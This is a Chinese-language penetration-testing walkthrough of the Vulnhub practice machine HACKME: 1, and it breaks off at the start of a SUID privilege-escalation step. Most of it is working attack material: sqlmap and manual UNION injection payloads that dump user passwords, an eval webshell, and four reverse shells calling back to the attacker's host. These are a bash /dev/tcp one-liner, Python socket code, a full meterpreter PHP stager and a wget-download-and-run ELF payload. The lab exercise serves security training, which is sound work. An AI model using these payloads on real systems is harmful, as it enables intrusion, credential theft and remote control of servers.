(Vulnhub练习)-- HACKME: 1渗透实战
下载地址
https://www.vulnhub.com/entry/hackme-1,330/
扫描主机
netdiscover -i eth0 -r 192.168.100.0/24
目标主机IP:192.168.100.134
信息收集
信息收集的步骤基本上差不多,可根据工具简单写个shell脚本
#!/usr/bin/bash
ip=192.168.100.$1
ping -c2 $ip &>/dev/null
if [ $? -eq 0 ] ; then
echo "$ip is up"
else
echo "$ip is down"
exit
fi
masscan --rate=10000 --ports 0-65535 $ip
masscan --rate=10000 --ports 0-65535 $ip
nmap -A $ip
sleep 30
whatweb $ip
sleep 10
dirsearch -u $ip
sleep 5
nikto -h $ip
sleep 5
dirb http://$ip
我的网段在192.168.100.0/24 所以ip要改改
/home/xiaoxiaoran/shell/xinxi.sh 134
nmap端口扫描
指纹识别
路径扫描
开始测试
主页发现登录页面,而且还可以注册用户
注册用户admin 密码123456 登录admin用户
SQL注入
sqlmap
sqlmap -u http://192.168.100.134/welcome.php --cookie "PHPSESSID=u5eefssue2adhtmid1rnnpj3ui" --forms --batch
sqlmap -u http://192.168.100.134/welcome.php --cookie "PHPSESSID=u5eefssue2adhtmid1rnnpj3ui" --forms --batch --current-db
sqlmap -u http://192.168.100.134/welcome.php --cookie "PHPSESSID=u5eefssue2adhtmid1rnnpj3ui" --forms --batch -D webapphacking --tables
sqlmap -u http://192.168.100.134/welcome.php --cookie "PHPSESSID=u5eefssue2adhtmid1rnnpj3ui" --forms --batch -D webapphacking -T users --columns
sqlmap -u http://192.168.100.134/welcome.php --cookie "PHPSESSID=u5eefssue2adhtmid1rnnpj3ui" --forms -D webapphacking -T users -C user,name,pasword --dump
手工注入
//验证sql注入
Windows OS' and 1=1#
//验证sql注入
Windows OS' and 1=2#
//判断字段数
Windows OS' order by 3#
//判断字段数
Windows OS' order by 4#
//判断显示位置
-1' union select 1,2,3#
//查看当前数据库
-1' union select database(),2,3#
//查看webapphacking库所有的表
-1' union select group_concat(table_name),2,3 from information_schema.tables where table_schema='webapphacking'#
//查看users表中所有的列
-1' union select group_concat(column_name),2,3 from information_schema.columns where table_name='users'#
//查看表中user,password
-1' union select group_concat(user),group_concat(pasword),3 from users#
superadmin用户登录
用户名superadmin ,密码Uncrackable(md5破解的)
文件上传
没有任何限制
直接一句话木马上传
<?php @eval($_POST[1]);
路径在 信息收集时就有扫到
拿到shell(四种方法总结)
kali ip 为 192.168.100.133
nc_shell反弹shell
1.php文件
<?php system("echo 'bash -i >& /dev/tcp/192.168.100.133/1234 0>&1' | bash");?>
服务端监听
nc -nvlp 1234
客户端实现
上传 1.php 并访问
效果
nc_python反弹shell
1.py文件
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.100.133",1234))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/bash","-i"])
服务端监听
nc -nvlp 1234
客户端实现
蚁剑终端执行 python 1.py
效果
msf_php反弹shell
msfvenom生成木马
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.100.133 LPORT=8080
2.php文件
error_reporting(0); $ip = '192.168.100.133'; $port = 8080; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();
php.rc文件
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set LHOST 192.168.100.133
set LPORT 8080
exploit
服务端监听
msfconsole -qr /home/xiaoxiaoran/shell/php.rc
客户端实现
上传 2.php 并访问
效果
msf_linux反弹shell
msfvenom生成木马
msfvenom -a x64 --platform linux -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.100.133 LPORT=4444 -b "\x00" -i 10 -f elf -o /var/www/html/linux_shell
3.php文件
<?php system("wget 192.168.100.133/linux_shell -O /tmp/xiao3;cd /tmp;chmod +x xiao3;./xiao3 &")?>
linux.rc文件
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 192.168.100.133
set LPORT 4444
exploit
服务端监听
msfconsole -qr /home/xiaoxiaoran/shell/linux.rc
客户端实现
上传 3.php 并访问
效果
提权
将shell转换为交互式的tty
python -c 'import pty;pty.spawn("/bin/bash")'
在/home/legacy路径下发现二进制文件touchmenot
原理
LINUX中除了r w x 三个权限外(分别代表r 读,w 写,x 执行),其实还有两个特殊的权限s 跟t
当s权限在文件所有者 x 权限上时,例如:-rwsr-xr-x,此时称为Set UID,简称为SUID的特殊权限,
即当执行该文件时将具有该文件所有者的权限
还有一个t权限,Sticky Bit,简称为SBIT权限,只针对目录有效。
|